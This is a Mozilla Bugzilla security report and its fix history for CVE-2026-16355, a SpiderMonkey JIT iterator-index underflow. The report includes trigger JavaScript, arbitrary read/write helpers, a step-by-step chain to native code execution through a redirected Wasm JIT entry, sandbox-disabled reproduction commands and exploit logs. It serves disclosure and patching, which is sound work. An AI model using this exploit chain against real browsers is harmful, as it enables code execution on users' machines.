Closed Bug 2052207 (CVE-2026-16355) Opened 3 months ago Closed 3 months ago

SpiderMonkey Iterator-Index Fast-Path Underflow Enables Browser Native Code Execution

Categories

(Core :: JavaScript Engine: JIT, defect, P1)

Firefox 154
x86_64
Linux
defect

Tracking

()

RESOLVED FIXED
154 Branch
Tracking Status
firefox-esr115 153+ fixed
firefox-esr140 153+ fixed
firefox152 --- wontfix
firefox153 + fixed
firefox154 + fixed

People

(Reporter: amyb, Assigned: jandem)

References

(Blocks 1 open bug, Regression)

Details

(5 keywords, Whiteboard: [adv-main153+][adv-ESR140.13+][adv-ESR115.38+])

Attachments

(7 files)

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36

Steps to reproduce:

Security Report: SpiderMonkey Iterator-Index Fast-Path Underflow Enables Browser Native Code Execution

Reporter: OpenAI Codex Security
Organization: OpenAI
Component: Mozilla Firefox / SpiderMonkey (Ion optimizer and native property iteration)
Affected Area: OptimizeIteratorIndices, NativeIterator::propertyCursor_, iterator-index load/store code generation
Bug Class: Closed-iterator state confusion -> out-of-bounds metadata read -> unchecked native-slot access -> out-of-bounds read/write -> arbitrary read/write -> native code execution


Summary

SpiderMonkey's Ion optimizer replaces property accesses inside for-in loops
with direct native-slot accesses based on a PropertyIndex stored beside the
iterator's property array. The optimization assumes that the iterator cursor
still identifies the property that produced the key used by the access.

That assumption does not hold after inlining a helper that returns from a
for-in loop. Returning closes the iterator and resets
NativeIterator::propertyCursor_ to zero. The caller can still use the
returned key in object[key], and OptimizeIteratorIndices() nevertheless
replaces that access with MLoadSlotByIteratorIndex or
MStoreSlotByIteratorIndex based on the closed iterator.

The generated code calculates the current property index as
indices[cursor - 1]. With cursor == 0, it reads four bytes immediately
before the indices array. On x86-64 those bytes are the upper half of the last
property atom pointer. The value is interpreted as a PropertyIndex, split
into a slot kind and slot number, and used for an unchecked fixed-slot,
dynamic-slot, or dense-element access.

The out-of-bounds read affects Firefox 111 and later; the write-capable path
affects Firefox 112 through the confirmed Firefox 152.0.4 release and remains
present on upstream main at Firefox 154.0a1.

The browser exploit derives the resulting process-specific slot number at
runtime. It then places SpiderMonkey dense-element buffers after a small
native object's dynamic-slot allocation and uses the stale iterator-index load
to locate a controlled marker in one of those buffers. After aligning that
array's ObjectElements header with the stale-store address, the stale store
increases initializedLength. Optimized dense-element accesses then provide
out-of-bounds read/write over adjacent SpiderMonkey allocations.

The full browser exploit uses this corruption to:

1. disclose raw object pointers from a Wasm GC anyref array;
2. enlarge an inline BigUint64Array through a corrupted ArgumentsData pointer;
3. replace a second BigUint64Array's data pointer and length;
4. obtain arbitrary 64-bit read/write in the Firefox content process;
5. locate attacker-selected bytes in executable Wasm JIT code;
6. redirect a mutable Wasm JIT entry to those bytes; and
7. execute native x86-64 code when the Wasm function is called.

The exploit is a self-contained HTML page loaded over ordinary HTTP. It uses
standard JavaScript and WebAssembly, with no SpiderMonkey shell functions,
JIT flags, experimental preferences, profile changes, source changes, or
binary changes.

One confirmed run on an unmodified Firefox 154.0a1 release build produced:

SPRAY_ELEMENT observed=10354 badIndex=10350 array=53 element=58
BUFFER_LAYOUT wasmHeader=5826 args0=6084
TYPED_ARRAY_PAIR first=0x000035d4c87470d0 second=0x000035d4c8747118 delta=0x0000000000000048
FIRST_TYPED_ARRAY_LENGTH=4096
ARBITRARY_READ address=0x000035d4c8748138 value=0x1122334455667788
ARBITRARY_WRITE probe=0x4142434445464748
OBJECT_HEADER_READ address=0x000035d4c87470d0 value=0x000035d4c873bf20
BROWSER_ARBITRARY_READ_WRITE
WASM_ENTRY native=0x00007f85a764dbc0 cell=0x00007f85957722e0 code=0x000026bfe3a021f0
NATIVE_PAYLOAD address=0x000026bfe3a02108
BROWSER_NATIVE_CODE_EXECUTION

With the Firefox content sandbox disabled for the final impact demonstration,
the native payload executes:

/bin/sh -c "id > /tmp/i"

The resulting file contained:

uid=0(root) gid=0(root) groups=0(root)

Impact

Malicious page JavaScript can make Ion use a closed native iterator as the
source of a direct property-slot index. The resulting index is derived from
pointer bytes outside the iterator's indices array and is then used without a
slot-capacity check.

The browser exploit turns the defect into:

1. an out-of-bounds native-slot read;
2. an out-of-bounds native-slot write;
3. corruption of a dense array's ObjectElements::initializedLength;
4. out-of-bounds access across adjacent SpiderMonkey allocations;
5. arbitrary 64-bit read/write in the content process; and
6. native code execution through a redirected Wasm JIT entry.

The arbitrary read/write validation accesses an independent typed array at an
address obtained from the corrupted heap:

ARBITRARY_READ address=0x000035d4c8748138 value=0x1122334455667788
ARBITRARY_WRITE probe=0x4142434445464748
BROWSER_ARBITRARY_READ_WRITE

The final stage identifies both the mutable entry cell and attacker-selected
bytes in the function's executable Wasm code mapping, overwrites the entry,
and invokes the function:

WASM_ENTRY native=0x00007f85a764dbc0 cell=0x00007f85957722e0 code=0x000026bfe3a021f0
NATIVE_PAYLOAD address=0x000026bfe3a02108
BROWSER_NATIVE_CODE_EXECUTION

Under Firefox's default configuration, the resulting native code executes in
the content process and remains subject to the content sandbox. The report
does not claim a sandbox escape.

Root Cause (High Level)

The iterator-index optimization relies on three incompatible states:

key provenance:
    the property key originates from MIteratorMore for a native iterator

iterator lifetime:
    an inlined return executes MIteratorEnd before the caller uses that key,
    clearing objectBeingIterated and resetting propertyCursor_ to zero

optimized access:
    OptimizeIteratorIndices still associates the caller's access with the
    closed iterator and emits indices[propertyCursor_ - 1]

The generated guard checks that indices are available and that the receiver's
shape matches the shape recorded in the iterator. It does not check that the
iterator remains open, that objectBeingIterated still equals the receiver,
or that propertyCursor_ is nonzero.

The index-extraction helper then subtracts one PropertyIndex because an open
iterator normally advances its cursor before the property access. With a
closed iterator, the subtraction addresses before the indices array. The
resulting four bytes are accepted as a valid PropertyIndex and reach direct
slot-access code without a release-effective bounds check.

Affected Versions

Full browser exploit validation:

Firefox source revision: 9b76a2f882af6691de21dfe290f8175c9bedce7b
Firefox milestone: 154.0a1
Build: unmodified release Firefox
Architecture: Linux x86-64
Trigger: ordinary HTTP page using standard JavaScript and WebAssembly

Stable release crash validation:

Firefox version: 152.0.4
Build ID: 20260629141727
Source stamp: e39c605adc0fc049a165d7fe4a3f6517b761edf7
Build: Mozilla release binary
Architecture: Linux x86-64
Configuration: default browser configuration
Result: content process exited on signal 11

The stable crash page reached the corrupted accessor before the content
process terminated:

targetSlot=10207
accessing corrupted accessor
WARNING: process 3651252 exited on signal 11

The root out-of-bounds index read was introduced by:

712c614596e08675c8ed425dd8af29f550039740
Bug 1799025: Part 9: Use iterator indices for GetProp
Commit date: 2023-01-19
Firefox milestone: 111.0a1

https://github.com/mozilla-firefox/firefox/commit/712c614596e08675c8ed425dd8af29f550039740

That commit added MLoadSlotByIteratorIndex and generated
indices[propertyCursor - 1] without checking that the cursor remained
nonzero. The GetPropertyCache path used by ordinary optimized property
accesses was connected to the same load in commit
29e9a84fa6607e18f4519628ae1186801c6bf270, also on 2023-01-19 and during the
111.0a1 development cycle.

https://github.com/mozilla-firefox/firefox/commit/29e9a84fa6607e18f4519628ae1186801c6bf270

The corresponding unchecked iterator-index store used by the browser exploit
was added by:

9656f0c2657592c1569a4961ec1efd96b776c583
Bug 1815503 - Optimize away SetElementMegamorphic inside for-in loops when possible
Commit date: 2023-02-15
Firefox milestone: 112.0a1

https://github.com/mozilla-firefox/firefox/commit/9656f0c2657592c1569a4961ec1efd96b776c583

Upstream main on 2026-07-01:

Firefox main: d4a2cc2aa48ba5e56ce90680e90038843a7298c7
Firefox milestone: 154.0a1
Commit date: 2026-07-01 00:30:35 UTC

Current main still contains all four required parts of the vulnerable path:

1. OptimizeIteratorIndices accepts an access derived from MIteratorMore
   without rejecting an intervening iterator close.
2. iteratorClose resets propertyCursor_ to zero.
3. extractCurrentIndexAndKindFromIterator subtracts one PropertyIndex.
4. the resulting index reaches direct slot loads and stores without a
   capacity check.

The current optimizer is present here:

https://github.com/mozilla-firefox/firefox/blob/d4a2cc2aa48ba5e56ce90680e90038843a7298c7/js/src/jit/IonAnalysis.cpp#L2488-L2667

The current cursor-relative index extraction is present here:

https://github.com/mozilla-firefox/firefox/blob/d4a2cc2aa48ba5e56ce90680e90038843a7298c7/js/src/jit/MacroAssembler.cpp#L3251-L3292

No upstream fix is present at that revision.


Detailed Analysis

An Inlined Return Closes the Iterator Before the Property Access

The trigger returns the first key from a helper and uses it in the caller:

function firstKey(object) {
  for (const key in object) {
    return key;
  }
  throw new Error("empty object");
}

function readClosed(object) {
  const key = firstKey(object);
  return object[key];
}

function writeClosed(object, value) {
  const key = firstKey(object);
  object[key] = value;
}

When firstKey() is inlined, the return exits the for-in loop and executes
the iterator-end operation. The generated iterator-close code clears
objectBeingIterated and resets the cursor:

https://github.com/mozilla-firefox/firefox/blob/9b76a2f882af6691de21dfe290f8175c9bedce7b/js/src/jit/MacroAssembler.cpp#L9926-L9945

void MacroAssembler::iteratorClose(Register obj, Register temp1, Register temp2,
                                   Register temp3) {
  LoadNativeIterator(*this, obj, temp1);
  ...
  Address iterObjAddr(temp1, NativeIterator::offsetOfObjectBeingIterated());
  guardedCallPreBarrierAnyZone(iterObjAddr, MIRType::Object, temp2);
  storePtr(ImmPtr(nullptr), iterObjAddr);

  // Reset property cursor.
  store32(Imm32(0), Address(temp1, NativeIterator::offsetOfPropertyCursor()));

The returned key remains a normal JavaScript string and is valid for the
caller's property access. The native iterator that produced it is no longer in
the state required by the cursor-relative index fast path.

The Optimizer Tracks Key Provenance but Not Iterator Lifetime

OptimizeIteratorIndices() recognizes property accesses whose key is an
MIteratorMore result. It confirms that the iterator was created for the same
receiver, constructs an indices guard, and replaces the property access with a
direct iterator-index load or store:

https://github.com/mozilla-firefox/firefox/blob/9b76a2f882af6691de21dfe290f8175c9bedce7b/js/src/jit/IonAnalysis.cpp#L2488-L2657

if (idVal->isIteratorMore()) {
  auto* iterNext = idVal->toIteratorMore();

  if (!iterNext->iterator()->isObjectToIterator()) {
    continue;
  }

  iter = iterNext->iterator()->toObjectToIterator();
  if (SkipIterObjectUnbox(iter->object()) !=
      SkipIterObjectUnbox(receiver)) {
    continue;
  }
}
...
indicesCheck =
    MIteratorHasIndices::New(graph.alloc(), iter->object(), iter);
...
if (ins->isMegamorphicLoadSlotByValue() ||
    ins->isMegamorphicLoadSlotByValuePermissive() ||
    ins->isGetPropertyCache()) {
  replacement =
      MLoadSlotByIteratorIndex::New(graph.alloc(), receiver, iter);
} else {
  replacement =
      MStoreSlotByIteratorIndex::New(graph.alloc(), receiver, iter, setValue);
}

The analysis does not reject an MIteratorEnd between the key-producing
MIteratorMore and the property access. In the inlined trigger, the optimizer
therefore associates the caller's access with an iterator whose cursor was
already reset.

The Runtime Guard Does Not Check That the Iterator Is Open

The generated fast-path guard checks two properties: the iterator still has an
indices array and the receiver's current shape matches the shape stored in the
iterator:

https://github.com/mozilla-firefox/firefox/blob/9b76a2f882af6691de21dfe290f8175c9bedce7b/js/src/jit/CodeGenerator.cpp#L18345-L18363

void CodeGenerator::emitIteratorHasIndicesAndBranch(Register iterator,
                                                    Register object,
                                                    Register temp,
                                                    Register temp2,
                                                    Label* ifFalse) {
  Address nativeIterAddr(iterator,
                         PropertyIteratorObject::offsetOfIteratorSlot());
  masm.loadPrivate(nativeIterAddr, temp);
  masm.branchTest32(Assembler::Zero,
                    Address(temp, NativeIterator::offsetOfFlags()),
                    Imm32(NativeIterator::Flags::IndicesAvailable), ifFalse);

  Address objShapeAddr(temp, NativeIterator::offsetOfObjectShape());
  masm.loadPtr(objShapeAddr, temp);
  masm.branchTestObjShape(Assembler::NotEqual, object, temp, temp2, object,
                          ifFalse);
}

Closing the iterator does not remove its indices or alter the receiver's
shape. Both checks therefore pass after propertyCursor_ has become zero.
The guard does not inspect objectBeingIterated or the cursor.

Cursor Zero Reads Before the Indices Array

For an open iterator, propertyCursor_ has already advanced past the property
being accessed. extractCurrentIndexAndKindFromIterator() intentionally
subtracts one PropertyIndex to recover the current property's metadata:

https://github.com/mozilla-firefox/firefox/blob/9b76a2f882af6691de21dfe290f8175c9bedce7b/js/src/jit/MacroAssembler.cpp#L3251-L3292

load32(Address(outIndex, NativeIterator::offsetOfPropertyCount()), outKind);
...
if constexpr (sizeof(IteratorProperty) > sizeof(PropertyIndex)) {
  lshift32(Imm32(1), outKind);
}

add32(Address(outIndex, NativeIterator::offsetOfPropertyCursor()), outKind);

load32(BaseIndex(outIndex, outKind, Scale::TimesFour,
                 NativeIterator::offsetOfFirstProperty() -
                     int32_t(sizeof(PropertyIndex))),
       outIndex);

rshift32(Imm32(PropertyIndex::KindShift), outIndex, outKind);
and32(Imm32(PropertyIndex::IndexMask), outIndex);

On x86-64, IteratorProperty is pointer-sized and PropertyIndex is four
bytes. With propertyCursor_ == 0, the address calculation resolves to the
last four bytes of the final IteratorProperty, immediately before the real
indices array. Those bytes are the upper half of the final property atom
pointer.

The exploit uses the same final enumerable atom, LASTKEY_SHARED, for the probe
and later carriers. This keeps the four-byte value used as the false
PropertyIndex consistent within the process. The large probe object stores
numbered values in its dynamic slots, so the stale load reveals the exact slot
selected by that pointer-derived value.

The False PropertyIndex Reaches Unchecked Slot Accesses

The generated load and store code dispatches on the decoded kind. For a
dynamic slot it loads the object's slots pointer and directly indexes it. For
a fixed slot it indexes from the object itself. Neither path checks the
receiver's slot capacity:

https://github.com/mozilla-firefox/firefox/blob/9b76a2f882af6691de21dfe290f8175c9bedce7b/js/src/jit/CodeGenerator.cpp#L18403-L18538

masm.branch32(Assembler::NotEqual, kindScratch,
              Imm32(uint32_t(PropertyIndex::Kind::DynamicSlot)),
              &notDynamicSlot);
masm.loadPtr(Address(object, NativeObject::offsetOfSlots()), kindScratch);
masm.loadValue(BaseValueIndex(kindScratch, indexScratch), result);
...
masm.computeEffectiveAddress(BaseValueIndex(kindScratch, indexScratch),
                             indexScratch);
...
Address storeAddress(indexScratch, 0);
emitPreBarrier(storeAddress);
masm.storeValue(value, storeAddress);

The only dense-element bounds failure uses assumeUnreachable; it does not
validate fixed or dynamic slot capacity. A pointer-derived dynamic-slot kind
and index therefore produce an out-of-bounds read or write directly.

The Stable Crash Corrupts an Accessor Slot

iterator-index-browser-crash.html first derives the stale slot number from a
large numbered object. It then creates a victim with a non-enumerable,
non-configurable accessor positioned at that slot. Non-enumerable properties
are absent from the iterator's property list, but they remain in the native
object's slots.

The stale optimized store replaces the accessor's internal GetterSetter
value with an attacker-selected plain object. Reading the property later makes
SpiderMonkey treat that ordinary GC cell as a GetterSetter. On Firefox
152.0.4, the browser content process exits on signal 11 after the page reports
that it is accessing the corrupted accessor.

The Browser Exploit Corrupts ObjectElements Metadata

The full exploit uses a smaller carrier and allocates equal-sized dense-array
buffers after its dynamic slots. Each array contains unique integer markers.
The stale load reaches one marker and identifies both the array and element
offset represented by the pointer-derived slot index:

SPRAY_ELEMENT observed=10354 badIndex=10350 array=53 element=58

The exploit shifts that array until its real ObjectElements header occupies
the address reached by the stale store. It then stores a crafted eight-byte
value through MStoreSlotByIteratorIndex, increasing the array's
initializedLength.

The denseRead() and denseWrite() helpers are optimized before the header
corruption. Their generated bounds checks use the corrupted initialized
length, giving JavaScript out-of-bounds access to subsequent SpiderMonkey
allocations.

Adjacent Engine Objects Provide Arbitrary Read/Write

The exploit places three useful allocation classes after the corrupted array:

Wasm GC anyref elements:
    raw pointers to selected JavaScript objects

ArgumentsData:
    a rareData pointer used by indexed-property deletion

inline BigUint64Array objects:
    length, data pointer, and inline storage in nearby native allocations

The out-of-bounds dense read identifies the Wasm GC array and arguments data:

BUFFER_LAYOUT wasmHeader=5826 args0=6084

Raw pointers exposed by the anyref element buffer identify adjacent
zero-length BigUint64Array objects. The exploit redirects the arguments
object's rareData pointer to the first typed array's length field and deletes
an argument, changing that length from zero to 4096.

The enlarged first typed array can reach the second typed array. It replaces
the second array's data pointer and length, yielding address-selected 64-bit
loads and stores:

function arbRead64(address) {
  firstEntry.object[secondDataIndex] = address;
  return secondEntry.object[0];
}

function arbWrite64(address, value) {
  firstEntry.object[secondDataIndex] = address;
  secondEntry.object[0] = value;
}

An independent marker in another typed array confirms both operations:

ARBITRARY_READ address=0x000035d4c8748138 value=0x1122334455667788
ARBITRARY_WRITE probe=0x4142434445464748
BROWSER_ARBITRARY_READ_WRITE

Arbitrary Write Redirects a Wasm JIT Entry

The page compiles a Wasm function containing attacker-selected f64
constants. The constants place the native x86-64 payload bytes in the
function's executable JIT mapping.

The Wasm GC reference array discloses the JavaScript function object's address.
Arbitrary read follows its native-entry and JIT-entry fields to the generated
code, then searches the corresponding executable page for the complete payload
byte sequence:

WASM_ENTRY native=0x00007f85a764dbc0 cell=0x00007f85957722e0 code=0x000026bfe3a021f0
NATIVE_PAYLOAD address=0x000026bfe3a02108

Arbitrary write replaces both the mutable JIT entry cell and the function's
native entry with the payload address. Calling the function transfers native
control to the attacker-selected instructions. The payload invokes
execve("/bin/sh", ["/bin/sh", "-c", "id > /tmp/i"], NULL) for the
sandbox-disabled impact demonstration.

Exploitation Strategy

The browser exploit uses the following sequence:

inline firstKey() into readClosed()/writeClosed()
    -> IteratorEnd resets propertyCursor_ to zero
    -> OptimizeIteratorIndices retains the closed iterator
    -> indices[cursor - 1] reads pointer bytes as PropertyIndex
    -> derive the false dynamic-slot index with a numbered probe object
    -> stale load locates a marker in an adjacent dense-elements buffer
    -> shift the selected array to align ObjectElements with stale store
    -> stale store enlarges initializedLength
    -> optimized dense-element access crosses allocation boundaries
    -> Wasm GC anyref elements disclose object pointers
    -> corrupted ArgumentsData write enlarges an inline BigUint64Array
    -> first typed array overwrites second typed array metadata
    -> arbitrary 64-bit read/write
    -> locate mutable Wasm JIT entry and executable payload bytes
    -> redirect entry and invoke the Wasm function
    -> native x86-64 payload executes

The exploit derives the stale slot number, adjacent object locations, typed
array addresses, JIT entry, and payload address at runtime. It does not depend
on fixed heap or JIT addresses.

Proof of Concept

Three self-contained browser pages are included:

iterator-index-browser-crash.html
    Minimal accessor-slot corruption and browser content-process crash.

iterator-index-browser-oob-rw.html
    Browser out-of-bounds read/write over adjacent SpiderMonkey buffers.

iterator-index-browser-native-code-execution.html
    Arbitrary 64-bit read/write and native x86-64 instruction execution.

Serve the directory over ordinary HTTP:

python3 -m http.server 8000

Open the full exploit in Firefox:

http://127.0.0.1:8000/iterator-index-browser-native-code-execution.html

Successful arbitrary read/write prints:

BROWSER_ARBITRARY_READ_WRITE

Successful native control-flow redirection prints:

BROWSER_NATIVE_CODE_EXECUTION

To reproduce the shell-command demonstration, disable the Firefox content
sandbox and open the same page:

rm -f /tmp/i
MOZ_DISABLE_CONTENT_SANDBOX=1 /path/to/firefox \
  http://127.0.0.1:8000/iterator-index-browser-native-code-execution.html
cat /tmp/i

Successful execution creates /tmp/i containing the identity of the Firefox
content process:

uid=0(root) gid=0(root) groups=0(root)

The native-code page reports the following milestones before invoking the
payload:

SPRAY_ELEMENT observed=10354 badIndex=10350 array=53 element=58
BUFFER_LAYOUT wasmHeader=5826 args0=6084
FIRST_TYPED_ARRAY_LENGTH=4096
BROWSER_ARBITRARY_READ_WRITE
WASM_ENTRY native=0x00007f85a764dbc0 cell=0x00007f85957722e0 code=0x000026bfe3a021f0
NATIVE_PAYLOAD address=0x000026bfe3a02108
BROWSER_NATIVE_CODE_EXECUTION

Suggested Fix

The iterator-index optimization must not use cursor-relative metadata after
the native iterator has been closed.

The targeted fix should:

  1. Make OptimizeIteratorIndices() reject a property access when an
    MIteratorEnd or any other iterator-closing operation can execute between
    the key-producing MIteratorMore and the access.
  2. Add a release-effective fast-path guard that the iterator remains open,
    including that objectBeingIterated still equals the receiver and that
    propertyCursor_ is in the range 1..propertyCount_.
  3. Ensure extractCurrentIndexAndKindFromIterator() cannot address
    indices[cursor - 1] unless the nonzero-cursor invariant has already been
    established on every path.
  4. Fall back to the ordinary property IC when the iterator state is not valid;
    do not treat invalid state as unreachable.
  5. Apply equivalent lifetime checks to both the load and store replacements
    and audit the indexed Object.keys variants for the same assumption.
  6. Add regression tests with an inlined helper that returns from for-in
    before its caller performs both object[key] and object[key] = value.

A suitable generated guard should establish the required state before loading
the cursor-relative index:

indices are available
    && objectBeingIterated == receiver
    && propertyCursor_ > 0
    && propertyCursor_ <= propertyCount_

The key invariant is that a property key's MIR provenance is not sufficient to
prove the lifetime of the iterator state used by a later direct slot access.

OS: Unspecified → Linux
Hardware: Unspecified → x86_64
Group: firefox-core-security → javascript-core-security
Component: Untriaged → JavaScript Engine
Product: Firefox → Core
Component: JavaScript Engine → JavaScript Engine: JIT
Flags: needinfo?(jdemooij)
Keywords: regression
Regressed by: 1799025

Thanks for the report. Very nice catch.

Assignee: nobody → jdemooij
Status: NEW → ASSIGNED
Keywords: sec-high

Set release status flags based on info from the regressing bug 1799025

Blocks: sm-security
Severity: -- → S2
Priority: -- → P1
Attached file (secure) —
Attached file (secure) —
Flags: needinfo?(jdemooij)
Group: javascript-core-security → core-security-release
Status: ASSIGNED → RESOLVED
Closed: 3 months ago
Resolution: --- → FIXED
Target Milestone: --- → 154 Branch

The patch landed in nightly and beta is affected.
:jandem, is this bug important enough to require an uplift?

For more information, please visit BugBot documentation.

Flags: needinfo?(jdemooij)
Attached file (secure) —
Attachment #9606602 - Flags: approval-mozilla-beta?

firefox-beta Uplift Approval Request

  • User impact if declined/Reason for urgency: Security bugs.
  • Code covered by automated testing?: yes
  • Fix verified in Nightly?: yes
  • Needs manual QE testing?: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: It just disables an optimization in some edge cases and adds assertions.
  • String changes made/needed?: N/A
  • Is Android affected?: yes

It may be too late to get this into the 153 releases but we can at least try.

We're going to need ESR140 & ESR115 requests ASAP also if the goal is get this uplifted this cycle still.

This is harder to backport to ESR140 because the patch relies on MInstruction::dominates that was added later in bug 2013543.

The safest and simplest option is probably to disable the indices optimization for ESR140 and ESR115.

firefox-esr140 Uplift Approval Request

  • User impact if declined/Reason for urgency: Security bugs.
  • Code covered by automated testing?: yes
  • Fix verified in Nightly?: yes
  • Needs manual QE testing?: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: It just disables an optimization in some edge cases and adds assertions.
  • String changes made/needed?: N/A
  • Is Android affected?: yes
Attachment #9607053 - Flags: approval-mozilla-esr140?
Attached file (secure) —
Attached file (secure) —
Attachment #9607054 - Flags: approval-mozilla-esr115?

firefox-esr115 Uplift Approval Request

  • User impact if declined/Reason for urgency: Security bugs.
  • Code covered by automated testing?: yes
  • Fix verified in Nightly?: yes
  • Needs manual QE testing?: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: It just disables an optimization in some edge cases and adds assertions.
  • String changes made/needed?: N/A
  • Is Android affected?: yes
Flags: needinfo?(jdemooij)
Attachment #9606602 - Flags: approval-mozilla-beta? → approval-mozilla-beta+
Attachment #9607053 - Flags: approval-mozilla-esr140? → approval-mozilla-esr140+
Attachment #9607054 - Flags: approval-mozilla-esr115? → approval-mozilla-esr115+
QA Whiteboard: [sec] [qa-triage-done-c154/b153]
Whiteboard: [adv-main153+][adv-ESR140.13+][adv-ESR115.38+]
Attached file advisory.txt —
Alias: CVE-2026-16355
Duplicate of this bug: 2068650
No longer duplicate of this bug: 2068650
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: